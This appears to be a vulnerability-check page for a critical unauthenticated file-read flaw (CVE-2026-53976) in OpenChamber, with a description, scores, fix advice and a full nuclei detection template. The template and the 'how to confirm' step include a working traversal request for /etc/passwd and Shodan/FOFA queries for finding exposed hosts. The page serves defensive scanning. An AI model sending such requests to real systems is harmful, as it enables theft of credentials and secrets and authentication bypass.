OpenChamber <1.13.0 - Unauthenticated Arbitrary File Read

criticalseverity

9.1CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

OpenChamber 1.11.7 contains a path traversal vulnerability in the file-serving endpoints /api/fs/read, /api/fs/stat, and /api/fs/raw that allows unauthenticated remote attackers to read arbitrary files by supplying the allowOutsideWorkspace=true query parameter alongside an absolute path, bypassing the workspace boundary check in resolveReadPathFromContext. Attackers can exploit the vacuous isPathWithinRoot guard to read sensitive files such as the JWT signing secret, SSH private keys, API credentials, and environment variables, enabling full authentication bypass by forging session cookies on password-protected deployments.

Impact

Unauthenticated attackers can read sensitive files and bypass authentication, leading to full system compromise.

Fix

Update to the latest version that fixes this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/fs/read?allowOutsideWorkspace=true&path=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-53976 -u <target>

The full check

id: CVE-2026-53976

info:
  name: OpenChamber <1.13.0 - Unauthenticated Arbitrary File Read
  author: str4k3r
  severity: critical
  description: |
    OpenChamber 1.11.7 contains a path traversal vulnerability in the file-serving endpoints /api/fs/read, /api/fs/stat, and /api/fs/raw that allows unauthenticated remote attackers to read arbitrary files by supplying the allowOutsideWorkspace=true query parameter alongside an absolute path, bypassing the workspace boundary check in resolveReadPathFromContext. Attackers can exploit the vacuous isPathWithinRoot guard to read sensitive files such as the JWT signing secret, SSH private keys, API credentials, and environment variables, enabling full authentication bypass by forging session cookies on password-protected deployments.
  impact: |
    Unauthenticated attackers can read sensitive files and bypass authentication, leading to full system compromise.
  remediation: |
    Update to the latest version that fixes this vulnerability.
  reference:
    - https://www.vulncheck.com/advisories/openchamber-path-traversal-file-read-via-allowoutsideworkspace-parameter
    - https://github.com/openchamber/openchamber/commit/f1b9506132faf6c564a2694c7f33b94421a49b4a
    - https://github.com/openchamber/openchamber
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-53976
    epss-score: 0.02612
    epss-percentile: 0.85548
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"OpenChamber"
    product: openchamber
    vendor: openchamber
    fofa-query: title="OpenChamber"
  tags: cve,cve2026,openchamber,lfi,traversal,unauth,oss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/fs/read?allowOutsideWorkspace=true&path=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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